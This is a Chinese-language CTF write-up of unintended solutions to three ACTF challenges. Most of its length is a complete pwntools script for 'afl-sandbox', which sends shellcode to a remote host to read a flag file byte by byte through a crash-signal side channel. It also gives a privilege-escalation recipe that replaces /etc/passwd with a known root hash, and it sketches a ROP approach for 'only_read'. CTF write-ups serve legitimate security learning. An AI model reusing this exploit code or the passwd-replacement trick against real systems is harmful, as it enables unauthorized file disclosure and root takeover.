ACTF 部分题的非预期解法(全都是非预期)
afl-sandbox
不知道预期解是什么,但是侧信道了
程序执行我们的shellcode,如果崩溃会根据不同的signal把信息告诉给我们
(复盘的时候想起来,如果exit不同的值是不是也会告诉我们?
(但是这么搞这题就没什么意思了,要是沙箱才有意思呢
用ud2、段错误和正常退出构造出三种不同的状态,就可以二分逐位爆破了。
from pwn import *
filename='harness'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
# p = process(["python3", "wrapper.py"])
p=remote('61.147.171.106',64278)
e=ELF(filename)
# libc=ELF(libc)
# context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
difficulty = 12
zeros = '0' * difficulty
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
def sol(prefix):
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i
def break_hash():
p.recvuntil(b"solve this: sha256(")
prefix = p.recvuntil(b" ",drop=True)
p.sendline(str(sol(prefix.decode())).encode())
def send_hex(msg):
h = msg.hex()
sla('>',h)
sa('>','\n')
break_hash()
ans = ''
this = ''
index = 0
while this != '}':
target = 0
for i in range(0,8):
pow2 = 7-i
target += 1<<pow2
shellcode = asm(f'''
lea rsi, [rbp - 0x400]
mov rdi, 0
mov rdx, 1
mov rax, 0
syscall
''')
shellcode += asm(shellcraft.open(b"/home/ctf/flag"))
shellcode += asm(f'''
lea rsi, [rbp - 0x400]
mov rdi, 4
mov rdx, 0x100
mov rax, 0
syscall
xor rbx, rbx
mov rax, {target}
mov bl, byte ptr[rsi + {index}]
cmp rbx, rax
je equal
jb below
after:
ud2
equal:
mov rax, 0x3c
syscall
below:
mov rsp, 0
ret
''')
send_hex(shellcode)
x = p.recvuntil("awesome, see you next time :)))")
p.close()
if(b"Fork server crashed with signal 4" in x):
p=remote('61.147.171.106',64278)
break_hash()
continue
if(b"Fork server crashed with signal 11" in x):
target -= 1<<pow2
p=remote('61.147.171.106',64278)
break_hash()
continue
this = chr(target)
ans += this
index +=1
print(ans)
# pause()
p=remote('61.147.171.106',64278)
break_hash()
break
print(ans)
p.interactive()
#p=remote()
arandom
这是一道内核题!是我第一次在比赛中真的去试着做的内核题!
什么,怎么别的队都出了
什么,怎么被打烂了
啊!根目录权限居然不是root
修改/etc到文件夹1(mv etc 1),新建/etc/passwd并编辑为
root:$1$abc$mxBQevJT9zt/6fNQJ52EC1:0:0:root:/root:/bin/bash
然后su root 1提权
only_read
嗯,只有read,怎么办呢
而且没有csu给我们打magic gadgets
即便我们有add dword ptr [rbp - 0x3d], ebx ; nop ; ret也毫无办法
考虑可以重写read到pop rbx pop r12... ,然后再用pop控制ebx,再用ebx构造one gadgets
one里面有有一个刚好能满足,要求r12和另外一个寄存器为0,用我们重写的read就可以控制,最后就能成功getshell
(懒了懒了,这题是我们全宇宙超级无敌第一的小花同志完成的,我还没有复现,所以就没有exp了.jpg!!!)

浙公网安备 33010602011771号